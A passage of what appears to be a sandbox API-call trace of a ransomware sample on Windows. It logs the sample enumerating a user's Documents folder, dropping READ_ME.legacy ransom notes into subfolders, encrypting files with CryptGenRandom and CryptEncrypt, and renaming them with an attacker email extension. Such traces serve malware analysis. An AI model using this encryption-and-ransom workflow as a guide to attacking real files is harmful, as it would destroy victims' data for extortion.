(HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0112.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0112.086] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0112.086] GetLastError () returned 0x0 [0112.086] SetLastError (dwErrCode=0x0) [0112.086] GetLastError () returned 0x0 [0112.086] SetLastError (dwErrCode=0x0) [0112.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0112.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0112.086] GetLastError () returned 0x0 [0112.086] SetLastError (dwErrCode=0x0) [0112.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0112.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0112.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0112.087] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd855c4a0, ftCreationTime.dwHighDateTime=0x1d49fba, ftLastAccessTime.dwLowDateTime=0xa7bae8a0, ftLastAccessTime.dwHighDateTime=0x1d4974c, ftLastWriteTime.dwLowDateTime=0xa7bae8a0, ftLastWriteTime.dwHighDateTime=0x1d4974c, nFileSizeHigh=0x0, nFileSizeLow=0x3cae, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="fSnjavPAIU1yfkyNuG.pptx", cAlternateFileName="FSNJAV~1.PPT")) returned 1 [0112.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0112.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.087] GetLastError () returned 0x0 [0112.087] SetLastError (dwErrCode=0x0) [0112.087] GetLastError () returned 0x0 [0112.087] SetLastError (dwErrCode=0x0) [0112.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.087] GetLastError () returned 0x0 [0112.087] SetLastError (dwErrCode=0x0) [0112.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0112.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0112.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0112.087] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb290fa0, ftCreationTime.dwHighDateTime=0x1d4c93f, ftLastAccessTime.dwLowDateTime=0xcad453e0, ftLastAccessTime.dwHighDateTime=0x1d4cf90, ftLastWriteTime.dwLowDateTime=0xcad453e0, ftLastWriteTime.dwHighDateTime=0x1d4cf90, nFileSizeHigh=0x0, nFileSizeLow=0xa4c1, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="g97pMMPlr0gQGWEvC_q.ods", cAlternateFileName="G97PMM~1.ODS")) returned 1 [0112.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.087] GetLastError () returned 0x0 [0112.087] SetLastError (dwErrCode=0x0) [0112.087] GetLastError () returned 0x0 [0112.087] SetLastError (dwErrCode=0x0) [0112.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0112.087] GetLastError () returned 0x0 [0112.088] SetLastError (dwErrCode=0x0) [0112.088] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b12df0, ftCreationTime.dwHighDateTime=0x1d4a381, ftLastAccessTime.dwLowDateTime=0x67ec550, ftLastAccessTime.dwHighDateTime=0x1d505f7, ftLastWriteTime.dwLowDateTime=0x67ec550, ftLastWriteTime.dwHighDateTime=0x1d505f7, nFileSizeHigh=0x0, nFileSizeLow=0xe655, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="IbRuq.docx", cAlternateFileName="IBRUQ~1.DOC")) returned 1 [0112.088] SetLastError (dwErrCode=0x0) [0112.088] GetLastError () returned 0x0 [0112.088] SetLastError (dwErrCode=0x0) [0112.088] SetLastError (dwErrCode=0x0) [0112.088] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb342aa40, ftCreationTime.dwHighDateTime=0x1d4ba8e, ftLastAccessTime.dwLowDateTime=0xdf67cf60, ftLastAccessTime.dwHighDateTime=0x1d4e658, ftLastWriteTime.dwLowDateTime=0xdf67cf60, ftLastWriteTime.dwHighDateTime=0x1d4e658, nFileSizeHigh=0x0, nFileSizeLow=0x6604, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ljhJaGuyxE50n.xlsx", cAlternateFileName="LJHJAG~1.XLS")) returned 1 [0112.088] SetLastError (dwErrCode=0x0) [0112.088] GetLastError () returned 0x0 [0112.088] SetLastError (dwErrCode=0x0) [0112.088] SetLastError (dwErrCode=0x0) [0112.089] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0112.089] SetLastError (dwErrCode=0x0) [0112.089] GetLastError () returned 0x0 [0112.089] SetLastError (dwErrCode=0x0) [0112.089] GetLastError () returned 0x0 [0112.089] SetLastError (dwErrCode=0x0) [0112.089] SetLastError (dwErrCode=0x0) [0112.089] SetLastError (dwErrCode=0x0) [0112.089] GetLastError () returned 0x0 [0112.089] SetLastError (dwErrCode=0x0) [0112.089] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Music\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\my music\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.090] WriteFile (in: hFile=0x5e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0112.091] CloseHandle (hObject=0x5e8) returned 1 [0112.091] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0112.091] SetLastError (dwErrCode=0xb7) [0112.091] GetLastError () returned 0xb7 [0112.091] SetLastError (dwErrCode=0xb7) [0112.091] SetLastError (dwErrCode=0xb7) [0112.092] SetLastError (dwErrCode=0xb7) [0112.092] GetLastError () returned 0xb7 [0112.092] SetLastError (dwErrCode=0xb7) [0112.092] GetLastError () returned 0xb7 [0112.092] SetLastError (dwErrCode=0xb7) [0112.092] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Pictures\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\my pictures\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.093] WriteFile (in: hFile=0x5e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0112.094] CloseHandle (hObject=0x5e8) returned 1 [0112.094] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0112.094] SetLastError (dwErrCode=0xb7) [0112.094] GetLastError () returned 0xb7 [0112.094] SetLastError (dwErrCode=0xb7) [0112.094] SetLastError (dwErrCode=0xb7) [0112.094] SetLastError (dwErrCode=0xb7) [0112.094] GetLastError () returned 0xb7 [0112.095] SetLastError (dwErrCode=0xb7) [0112.095] GetLastError () returned 0xb7 [0112.095] SetLastError (dwErrCode=0xb7) [0112.095] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.098] WriteFile (in: hFile=0x5e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0112.099] CloseHandle (hObject=0x5e8) returned 1 [0112.099] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0112.099] SetLastError (dwErrCode=0x0) [0112.099] GetLastError () returned 0x0 [0112.099] SetLastError (dwErrCode=0x0) [0112.099] SetLastError (dwErrCode=0x0) [0112.099] SetLastError (dwErrCode=0x0) [0112.099] GetLastError () returned 0x0 [0112.099] SetLastError (dwErrCode=0x0) [0112.099] GetLastError () returned 0x0 [0112.099] SetLastError (dwErrCode=0x0) [0112.100] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Videos\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\my videos\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.101] WriteFile (in: hFile=0x5e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0112.102] CloseHandle (hObject=0x5e8) returned 1 [0112.102] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5eb6d60, ftCreationTime.dwHighDateTime=0x1d4d0b3, ftLastAccessTime.dwLowDateTime=0x94b31b60, ftLastAccessTime.dwHighDateTime=0x1d4f0c0, ftLastWriteTime.dwLowDateTime=0x94b31b60, ftLastWriteTime.dwHighDateTime=0x1d4f0c0, nFileSizeHigh=0x0, nFileSizeLow=0x9e1c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ncXHAwp7.xlsx", cAlternateFileName="NCXHAW~1.XLS")) returned 1 [0112.102] SetLastError (dwErrCode=0xb7) [0112.102] GetLastError () returned 0xb7 [0112.102] SetLastError (dwErrCode=0xb7) [0112.102] SetLastError (dwErrCode=0xb7) [0112.102] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0112.102] SetLastError (dwErrCode=0xb7) [0112.102] GetLastError () returned 0xb7 [0112.102] SetLastError (dwErrCode=0xb7) [0112.102] SetLastError (dwErrCode=0xb7) [0112.102] SetLastError (dwErrCode=0xb7) [0112.102] GetLastError () returned 0xb7 [0112.103] SetLastError (dwErrCode=0xb7) [0112.103] GetLastError () returned 0xb7 [0112.103] SetLastError (dwErrCode=0xb7) [0112.103] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.104] WriteFile (in: hFile=0x5e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0112.105] CloseHandle (hObject=0x5e8) returned 1 [0112.105] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d25430, ftCreationTime.dwHighDateTime=0x1d50eb4, ftLastAccessTime.dwLowDateTime=0xa26acc50, ftLastAccessTime.dwHighDateTime=0x1d4f0d7, ftLastWriteTime.dwLowDateTime=0xa26acc50, ftLastWriteTime.dwHighDateTime=0x1d4f0d7, nFileSizeHigh=0x0, nFileSizeLow=0x5c47, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="p_pE4760Yy.xlsx", cAlternateFileName="P_PE47~1.XLS")) returned 1 [0112.105] SetLastError (dwErrCode=0x0) [0112.105] GetLastError () returned 0x0 [0112.105] SetLastError (dwErrCode=0x0) [0112.105] SetLastError (dwErrCode=0x0) [0112.106] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb00fa0, ftCreationTime.dwHighDateTime=0x1d4c321, ftLastAccessTime.dwLowDateTime=0xc8f83970, ftLastAccessTime.dwHighDateTime=0x1d4eda3, ftLastWriteTime.dwLowDateTime=0xc8f83970, ftLastWriteTime.dwHighDateTime=0x1d4eda3, nFileSizeHigh=0x0, nFileSizeLow=0x3c16, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="qj-X4tc4zE0HdySgGQ.pptx", cAlternateFileName="QJ-X4T~1.PPT")) returned 1 [0112.106] SetLastError (dwErrCode=0x0) [0112.106] GetLastError () returned 0x0 [0112.106] SetLastError (dwErrCode=0x0) [0112.106] SetLastError (dwErrCode=0x0) [0112.106] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bd9500, ftCreationTime.dwHighDateTime=0x1d4e5ef, ftLastAccessTime.dwLowDateTime=0x3aef16f0, ftLastAccessTime.dwHighDateTime=0x1d4d5c8, ftLastWriteTime.dwLowDateTime=0x3aef16f0, ftLastWriteTime.dwHighDateTime=0x1d4d5c8, nFileSizeHigh=0x0, nFileSizeLow=0xe90b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RDFnlOy4qO5Haf.docx", cAlternateFileName="RDFNLO~1.DOC")) returned 1 [0112.106] SetLastError (dwErrCode=0x0) [0112.106] GetLastError () returned 0x0 [0112.106] SetLastError (dwErrCode=0x0) [0112.106] SetLastError (dwErrCode=0x0) [0112.106] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2024368, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2024368, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd206de97, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0112.106] SetLastError (dwErrCode=0x0) [0112.106] GetLastError () returned 0x0 [0112.106] SetLastError (dwErrCode=0x0) [0112.106] SetLastError (dwErrCode=0x0) [0112.106] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefbff320, ftCreationTime.dwHighDateTime=0x1d4c983, ftLastAccessTime.dwLowDateTime=0x979c5050, ftLastAccessTime.dwHighDateTime=0x1d4c689, ftLastWriteTime.dwLowDateTime=0x979c5050, ftLastWriteTime.dwHighDateTime=0x1d4c689, nFileSizeHigh=0x0, nFileSizeLow=0x945b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vxXySkvBkvcUCGq8.xls", cAlternateFileName="VXXYSK~1.XLS")) returned 1 [0112.106] SetLastError (dwErrCode=0x0) [0112.106] GetLastError () returned 0x0 [0112.106] SetLastError (dwErrCode=0x0) [0112.106] SetLastError (dwErrCode=0x0) [0112.106] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x391729c0, ftCreationTime.dwHighDateTime=0x1d4cca0, ftLastAccessTime.dwLowDateTime=0x8670f3d0, ftLastAccessTime.dwHighDateTime=0x1d4d354, ftLastWriteTime.dwLowDateTime=0x8670f3d0, ftLastWriteTime.dwHighDateTime=0x1d4d354, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="XrxhoYWoRmKU-MQys0y", cAlternateFileName="XRXHOY~1")) returned 1 [0112.107] SetLastError (dwErrCode=0x0) [0112.107] GetLastError () returned 0x0 [0112.107] SetLastError (dwErrCode=0x0) [0112.107] SetLastError (dwErrCode=0x0) [0112.107] SetLastError (dwErrCode=0x0) [0112.107] GetLastError () returned 0x0 [0112.107] SetLastError (dwErrCode=0x0) [0112.107] GetLastError () returned 0x0 [0112.107] SetLastError (dwErrCode=0x0) [0112.107] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.108] WriteFile (in: hFile=0x5e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0112.109] CloseHandle (hObject=0x5e8) returned 1 [0112.109] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde14b300, ftCreationTime.dwHighDateTime=0x1d4a16e, ftLastAccessTime.dwLowDateTime=0x52b73c0, ftLastAccessTime.dwHighDateTime=0x1d4973d, ftLastWriteTime.dwLowDateTime=0x52b73c0, ftLastWriteTime.dwHighDateTime=0x1d4973d, nFileSizeHigh=0x0, nFileSizeLow=0x16520, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="y6_d6NLNkKhrPdj8u8.xlsx", cAlternateFileName="Y6_D6N~1.XLS")) returned 1 [0112.109] SetLastError (dwErrCode=0x0) [0112.109] GetLastError () returned 0x0 [0112.109] SetLastError (dwErrCode=0x0) [0112.109] SetLastError (dwErrCode=0x0) [0112.109] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde14b300, ftCreationTime.dwHighDateTime=0x1d4a16e, ftLastAccessTime.dwLowDateTime=0x52b73c0, ftLastAccessTime.dwHighDateTime=0x1d4973d, ftLastWriteTime.dwLowDateTime=0x52b73c0, ftLastWriteTime.dwHighDateTime=0x1d4973d, nFileSizeHigh=0x0, nFileSizeLow=0x16520, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="y6_d6NLNkKhrPdj8u8.xlsx", cAlternateFileName="Y6_D6N~1.XLS")) returned 0 [0112.109] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0112.109] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.109] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\y6_d6NLNkKhrPdj8u8.xlsx", dwFileAttributes=0x80) returned 1 [0112.110] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\y6_d6NLNkKhrPdj8u8.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\y6_d6nlnkkhrpdj8u8.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.110] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=91424) returned 1 [0112.111] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x16520, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x16520, lpOverlapped=0x0) returned 1 [0112.115] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-91424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.115] WriteFile (in: hFile=0x5e8, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x16520, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16520, lpOverlapped=0x0) returned 1 [0112.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.117] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0112.120] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16520 [0112.120] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.120] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.121] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.121] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.121] CloseHandle (hObject=0x5e8) returned 1 [0112.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0112.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0112.121] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\y6_d6NLNkKhrPdj8u8.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\y6_d6nlnkkhrpdj8u8.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\y6_d6NLNkKhrPdj8u8.xlsx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\y6_d6nlnkkhrpdj8u8.xlsx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0112.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57efb0 | out: hHeap=0x520000) returned 1 [0112.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0112.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0112.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c55b0 [0112.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0112.128] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0112.128] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0112.128] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\vxXySkvBkvcUCGq8.xls", dwFileAttributes=0x80) returned 1 [0112.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57eda8 [0112.128] RtlAllocateHeap 